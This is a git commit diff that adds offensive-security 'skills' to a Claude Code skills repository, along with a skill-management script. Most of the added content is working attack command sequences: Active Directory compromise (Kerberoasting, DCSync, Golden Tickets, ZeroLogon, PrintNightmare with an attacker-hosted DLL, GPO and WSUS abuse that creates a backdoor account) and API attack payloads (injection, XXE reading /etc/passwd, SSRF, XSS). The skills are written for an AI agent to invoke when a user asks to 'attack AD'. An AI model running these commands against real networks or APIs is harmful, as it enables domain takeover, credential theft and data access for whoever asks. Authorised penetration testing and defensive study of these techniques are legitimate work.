feat: add claude-code-guide and import security skills

This commit is contained in:
sck_0
2026-01-16 17:56:47 +01:00
parent 8a4b4383e8
commit 4ee569d5d5
31 changed files with 12148 additions and 60 deletions

View File

@@ -1,17 +1,17 @@
# 🌌 Antigravity Awesome Skills: The Ultimate Claude Code Skills Collection
> **The Ultimate Collection of 60+ Agentic Skills for Claude Code (Antigravity)**
> **The Ultimate Collection of 130+ Agentic Skills for Claude Code (Antigravity)**
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![Claude Code](https://img.shields.io/badge/AI-Claude%20Code-purple)](https://claude.ai)
[![Agentic](https://img.shields.io/badge/Agentic-Framework-blue)](https://github.com/guanyang/antigravity-skills)
**Antigravity Awesome Skills** is the ultimate **Claude Code Skills** collection—a curated, battle-tested library of **71 high-performance skills** compatible with both **Antigravity** and **Claude Code**. This repository provides the essential **Claude Code skills** needed to transform your AI assistant into a full-stack digital agency, including official capabilities from **Anthropic** and **Vercel Labs**.
**Antigravity Awesome Skills** is the ultimate **Claude Code Skills** collection—a curated, battle-tested library of **131 high-performance skills** compatible with both **Antigravity** and **Claude Code**. This repository provides the essential **Claude Code skills** needed to transform your AI assistant into a full-stack digital agency, including official capabilities from **Anthropic** and **Vercel Labs**.
## 📍 Table of Contents
- [Features & Categories](#features--categories)
- [Full Skill Registry](#full-skill-registry-7171)
- [Full Skill Registry](#full-skill-registry-131131)
- [Installation](#installation)
- [How to Contribute](#how-to-contribute)
- [Credits & Sources](#credits--sources)
@@ -36,7 +36,7 @@ The repository is organized into several key areas of expertise:
---
## Full Skill Registry (71/71)
## Full Skill Registry (131/131)
Below is the complete list of available skills. Each skill folder contains a `SKILL.md` that can be imported into Antigravity or Claude Code.
@@ -50,6 +50,7 @@ Below is the complete list of available skills. Each skill folder contains a `SK
| **Autonomous Agent Patterns** | Design patterns for autonomous coding agents and tools. | `skills/autonomous-agent-patterns` ⭐ NEW |
| **AWS Pentesting** | Specialized security assessment for Amazon Web Services. | `skills/aws-penetration-testing` |
| **Backend Guidelines** | Core architecture patterns for Node/Express microservices. | `skills/backend-dev-guidelines` |
| **Claude Code Guide** | Master guide for configuring and using Claude Code. | `skills/claude-code-guide` ⭐ NEW |
| **Concise Planning** | Atomic, actionable task planning and checklists. | `skills/concise-planning` ⭐ NEW |
| **Brainstorming** | Requirement discovery and intent exploration framework. | `skills/brainstorming` |
| **Brand Guidelines (Anthropic)** | Official Anthropic brand styling and visual standards. | `skills/brand-guidelines-anthropic` ⭐ NEW |

119
scripts/skills_manager.py Executable file
View File

@@ -0,0 +1,119 @@
#!/usr/bin/env python3
"""
Skills Manager - Easily enable/disable skills locally
Usage:
python3 scripts/skills_manager.py list # List active skills
python3 scripts/skills_manager.py disabled # List disabled skills
python3 scripts/skills_manager.py enable SKILL # Enable a skill
python3 scripts/skills_manager.py disable SKILL # Disable a skill
"""
import sys
import os
from pathlib import Path
SKILLS_DIR = Path(__file__).parent.parent / "skills"
DISABLED_DIR = SKILLS_DIR / ".disabled"
def list_active():
"""List all active skills"""
print("🟢 Active Skills:\n")
skills = sorted([d.name for d in SKILLS_DIR.iterdir()
if d.is_dir() and not d.name.startswith('.')])
symlinks = sorted([s.name for s in SKILLS_DIR.iterdir()
if s.is_symlink()])
for skill in skills:
print(f"{skill}")
if symlinks:
print("\n📎 Symlinks:")
for link in symlinks:
target = os.readlink(SKILLS_DIR / link)
print(f"{link}{target}")
print(f"\n✅ Total: {len(skills)} skills + {len(symlinks)} symlinks")
def list_disabled():
"""List all disabled skills"""
if not DISABLED_DIR.exists():
print("❌ No disabled skills directory found")
return
print("⚪ Disabled Skills:\n")
disabled = sorted([d.name for d in DISABLED_DIR.iterdir() if d.is_dir()])
for skill in disabled:
print(f"{skill}")
print(f"\n📊 Total: {len(disabled)} disabled skills")
def enable_skill(skill_name):
"""Enable a disabled skill"""
source = DISABLED_DIR / skill_name
target = SKILLS_DIR / skill_name
if not source.exists():
print(f"❌ Skill '{skill_name}' not found in .disabled/")
return False
if target.exists():
print(f"⚠️ Skill '{skill_name}' is already active")
return False
source.rename(target)
print(f"✅ Enabled: {skill_name}")
return True
def disable_skill(skill_name):
"""Disable an active skill"""
source = SKILLS_DIR / skill_name
target = DISABLED_DIR / skill_name
if not source.exists():
print(f"❌ Skill '{skill_name}' not found")
return False
if source.name.startswith('.'):
print(f"⚠️ Cannot disable system directory: {skill_name}")
return False
if source.is_symlink():
print(f"⚠️ Cannot disable symlink: {skill_name}")
print(f" (Remove the symlink manually if needed)")
return False
DISABLED_DIR.mkdir(exist_ok=True)
source.rename(target)
print(f"✅ Disabled: {skill_name}")
return True
def main():
if len(sys.argv) < 2:
print(__doc__)
sys.exit(1)
command = sys.argv[1].lower()
if command == "list":
list_active()
elif command == "disabled":
list_disabled()
elif command == "enable":
if len(sys.argv) < 3:
print("❌ Usage: skills_manager.py enable SKILL_NAME")
sys.exit(1)
enable_skill(sys.argv[2])
elif command == "disable":
if len(sys.argv) < 3:
print("❌ Usage: skills_manager.py disable SKILL_NAME")
sys.exit(1)
disable_skill(sys.argv[2])
else:
print(f"❌ Unknown command: {command}")
print(__doc__)
sys.exit(1)
if __name__ == "__main__":
main()

3
skills/.gitignore vendored Normal file
View File

@@ -0,0 +1,3 @@
# Local-only: disabled skills for lean configuration
# These skills are kept in the repository but disabled locally
.disabled/

View File

@@ -0,0 +1,380 @@
---
name: Active Directory Attacks
description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
---
# Active Directory Attacks
## Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
## Inputs/Prerequisites
- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
## Outputs/Deliverables
- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms
---
## Essential Tools
| Tool | Purpose |
|------|---------|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |
---
## Core Workflow
### Step 1: Kerberos Clock Sync
Kerberos requires clock synchronization (±5 minutes):
```bash
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
```
### Step 2: AD Reconnaissance with BloodHound
```bash
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
```
### Step 3: PowerView Enumeration
```powershell
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
```
---
## Credential Attacks
### Password Spraying
```bash
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
```
### Kerberoasting
Extract service account TGS tickets and crack offline:
```bash
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
```
### AS-REP Roasting
Target accounts with "Do not require Kerberos preauthentication":
```bash
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
```
### DCSync Attack
Extract credentials directly from DC (requires Replicating Directory Changes rights):
```bash
# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
```
---
## Kerberos Ticket Attacks
### Pass-the-Ticket (Golden Ticket)
Forge TGT with krbtgt hash for any user:
```powershell
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
```
### Silver Ticket
Forge TGS for specific service:
```powershell
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
```
### Pass-the-Hash
```bash
# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
```
### OverPass-the-Hash
Convert NTLM hash to Kerberos ticket:
```bash
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
```
---
## NTLM Relay Attacks
### Responder + ntlmrelayx
```bash
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf
# Start relay
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
```
### SMB Signing Check
```bash
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
```
---
## Certificate Services Attacks (AD CS)
### ESC1 - Misconfigured Templates
```bash
# Find vulnerable templates
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
# Exploit ESC1
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```
### ESC8 - Web Enrollment Relay
```bash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```
---
## Critical CVEs
### ZeroLogon (CVE-2020-1472)
```bash
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extract hashes
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
```
### PrintNightmare (CVE-2021-1675)
```bash
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
```
### samAccountName Spoofing (CVE-2021-42278/42287)
```bash
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
```
---
## Quick Reference
| Attack | Tool | Command |
|--------|------|---------|
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
---
## Constraints
**Must:**
- Synchronize time with DC before Kerberos attacks
- Have valid domain credentials for most attacks
- Document all compromised accounts
**Must Not:**
- Lock out accounts with excessive password spraying
- Modify production AD objects without approval
- Leave Golden Tickets without documentation
**Should:**
- Run BloodHound for attack path discovery
- Check for SMB signing before relay attacks
- Verify patch levels for CVE exploitation
---
## Examples
### Example 1: Domain Compromise via Kerberoasting
```bash
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
```
### Example 2: NTLM Relay to LDAP
```bash
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
```
---
## Troubleshooting
| Issue | Solution |
|-------|----------|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |
---
## Additional Resources
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).

View File

@@ -0,0 +1,382 @@
# Advanced Active Directory Attacks Reference
## Table of Contents
1. [Delegation Attacks](#delegation-attacks)
2. [Group Policy Object Abuse](#group-policy-object-abuse)
3. [RODC Attacks](#rodc-attacks)
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
6. [Trust Relationship Attacks](#trust-relationship-attacks)
7. [ADFS Golden SAML](#adfs-golden-saml)
8. [Credential Sources](#credential-sources)
9. [Linux AD Integration](#linux-ad-integration)
---
## Delegation Attacks
### Unconstrained Delegation
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
**Find Delegation:**
```powershell
# PowerShell
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
# BloodHound
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
```
**SpoolService Abuse:**
```bash
# Check spooler service
ls \\dc01\pipe\spoolss
# Trigger with SpoolSample
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
# Or with printerbug.py
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
```
**Monitor with Rubeus:**
```powershell
Rubeus.exe monitor /interval:1
```
### Constrained Delegation
**Identify:**
```powershell
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
```
**Exploit with Rubeus:**
```powershell
# S4U2 attack
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
```
**Exploit with Impacket:**
```bash
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
```
### Resource-Based Constrained Delegation (RBCD)
```powershell
# Create machine account
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
# Set delegation
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
# Get ticket
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
```
---
## Group Policy Object Abuse
### Find Vulnerable GPOs
```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
```
### Abuse with SharpGPOAbuse
```powershell
# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
# Add user rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
# Add immediate task
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
```
### Abuse with pyGPOAbuse (Linux)
```bash
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
```
---
## RODC Attacks
### RODC Golden Ticket
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
### RODC Key List Attack
**Requirements:**
- krbtgt credentials of the RODC (-rodcKey)
- ID of the krbtgt account of the RODC (-rodcNo)
```bash
# Impacket keylistattack
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# Using secretsdump with keylist
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```
**Using Rubeus:**
```powershell
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
```
---
## SCCM/WSUS Deployment
### SCCM Attack with MalSCCM
```bash
# Locate SCCM server
MalSCCM.exe locate
# Enumerate targets
MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
# Create target group
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
# Create malicious app
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
# Deploy
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
# Force checkin
MalSCCM.exe checkin /groupname:TargetGroup
# Cleanup
MalSCCM.exe app /cleanup /name:backdoor
MalSCCM.exe group /delete /groupname:TargetGroup
```
### SCCM Network Access Accounts
```powershell
# Find SCCM blob
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
# Decrypt with SharpSCCM
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
```
### WSUS Deployment Attack
```bash
# Using SharpWSUS
SharpWSUS.exe locate
SharpWSUS.exe inspect
# Create malicious update
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
# Deploy to target
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
# Check status
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
# Cleanup
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
```
---
## AD Certificate Services (ADCS)
### ESC1 - Misconfigured Templates
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
```bash
# Find vulnerable templates
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
# Request certificate as admin
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
```
### ESC4 - ACL Vulnerabilities
```python
# Check for WriteProperty
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
# Add ENROLLEE_SUPPLIES_SUBJECT flag
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
# Perform ESC1, then restore
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
```
### ESC8 - NTLM Relay to Web Enrollment
```bash
# Start relay
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce authentication
python3 petitpotam.py ATTACKER_IP DC_IP
# Use certificate
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
```
### Shadow Credentials
```bash
# Add Key Credential (pyWhisker)
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
# Get TGT with PKINIT
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
# Get NT hash
export KRB5CCNAME=target.ccache
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
```
---
## Trust Relationship Attacks
### Child to Parent Domain (SID History)
```powershell
# Get Enterprise Admins SID from parent
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
# Create Golden Ticket with SID History
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
```
### Forest to Forest (Trust Ticket)
```bash
# Dump trust key
lsadump::trust /patch
# Forge inter-realm TGT
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
# Use trust ticket
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
```
---
## ADFS Golden SAML
**Requirements:**
- ADFS service account access
- Token signing certificate (PFX + decryption password)
```bash
# Dump with ADFSDump
.\ADFSDump.exe
# Forge SAML token
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
```
---
## Credential Sources
### LAPS Password
```powershell
# PowerShell
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# CrackMapExec
crackmapexec ldap DC_IP -u user -p password -M laps
```
### GMSA Password
```powershell
# PowerShell + DSInternals
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp
```
```bash
# Linux with bloodyAD
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
```
### Group Policy Preferences (GPP)
```bash
# Find in SYSVOL
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
# Decrypt
python3 Get-GPPPassword.py -no-pass 'DC_IP'
```
### DSRM Credentials
```powershell
# Dump DSRM hash
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
# Enable DSRM admin logon
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```
---
## Linux AD Integration
### CCACHE Ticket Reuse
```bash
# Find tickets
ls /tmp/ | grep krb5cc
# Use ticket
export KRB5CCNAME=/tmp/krb5cc_1000
```
### Extract from Keytab
```bash
# List keys
klist -k /etc/krb5.keytab
# Extract with KeyTabExtract
python3 keytabextract.py /etc/krb5.keytab
```
### Extract from SSSD
```bash
# Database location
/var/lib/sss/secrets/secrets.ldb
# Key location
/var/lib/sss/secrets/.secrets.mkey
# Extract
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

View File

@@ -0,0 +1,430 @@
---
name: API Fuzzing for Bug Bounty
description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
---
# API Fuzzing for Bug Bounty
## Purpose
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
## Inputs/Prerequisites
- Burp Suite or similar proxy tool
- API wordlists (SecLists, api_wordlist)
- Understanding of REST/GraphQL/SOAP protocols
- Python for scripting
- Target API endpoints and documentation (if available)
## Outputs/Deliverables
- Identified API vulnerabilities
- IDOR exploitation proofs
- Authentication bypass techniques
- SQL injection points
- Unauthorized data access documentation
---
## API Types Overview
| Type | Protocol | Data Format | Structure |
|------|----------|-------------|-----------|
| SOAP | HTTP | XML | Header + Body |
| REST | HTTP | JSON/XML/URL | Defined endpoints |
| GraphQL | HTTP | Custom Query | Single endpoint |
---
## Core Workflow
### Step 1: API Reconnaissance
Identify API type and enumerate endpoints:
```bash
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
```
### Step 2: Authentication Testing
```bash
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
# Test mobile vs web API separately
# Don't assume same security controls
```
### Step 3: IDOR Testing
Insecure Direct Object Reference is the most common API vulnerability:
```bash
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
# Test /me/orders vs /user/654321/orders
```
**IDOR Bypass Techniques:**
```bash
# Wrap ID in array
{"id":111}{"id":[111]}
# JSON wrap
{"id":111}{"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
```
### Step 4: Injection Testing
**SQL Injection in JSON:**
```json
{"id":"56456"} OK
{"id":"56456 AND 1=1#"} OK
{"id":"56456 AND 1=2#"} OK
{"id":"56456 AND 1=3#"} ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} SLEEP 15 SEC
```
**Command Injection:**
```bash
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/
```
**XXE Injection:**
```xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
```
**SSRF via API:**
```html
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
```
**.NET Path.Combine Vulnerability:**
```bash
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
```
### Step 5: Method Testing
```bash
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml
```
---
## GraphQL-Specific Testing
### Introspection Query
Fetch entire backend schema:
```graphql
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
```
**URL-encoded version:**
```
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
```
### GraphQL IDOR
```graphql
# Try accessing other user IDs
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
```
### GraphQL SQL/NoSQL Injection
```graphql
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
```
### Rate Limit Bypass (Batching)
```graphql
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
```
### GraphQL DoS (Nested Queries)
```graphql
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
```
### GraphQL XSS
```bash
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
```
### GraphQL Tools
| Tool | Purpose |
|------|---------|
| GraphCrawler | Schema discovery |
| graphw00f | Fingerprinting |
| clairvoyance | Schema reconstruction |
| InQL | Burp extension |
| GraphQLmap | Exploitation |
---
## Endpoint Bypass Techniques
When receiving 403/401, try these bypasses:
```bash
# Original blocked request
/api/v1/users/sensitivedata → 403
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata
```
---
## Output Exploitation
### PDF Export Attacks
```html
<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>
```
### DoS via Limits
```bash
# Normal request
/api/news?limit=100
# DoS attempt
/api/news?limit=9999999999
```
---
## Common API Vulnerabilities Checklist
| Vulnerability | Description |
|---------------|-------------|
| API Exposure | Unprotected endpoints exposed publicly |
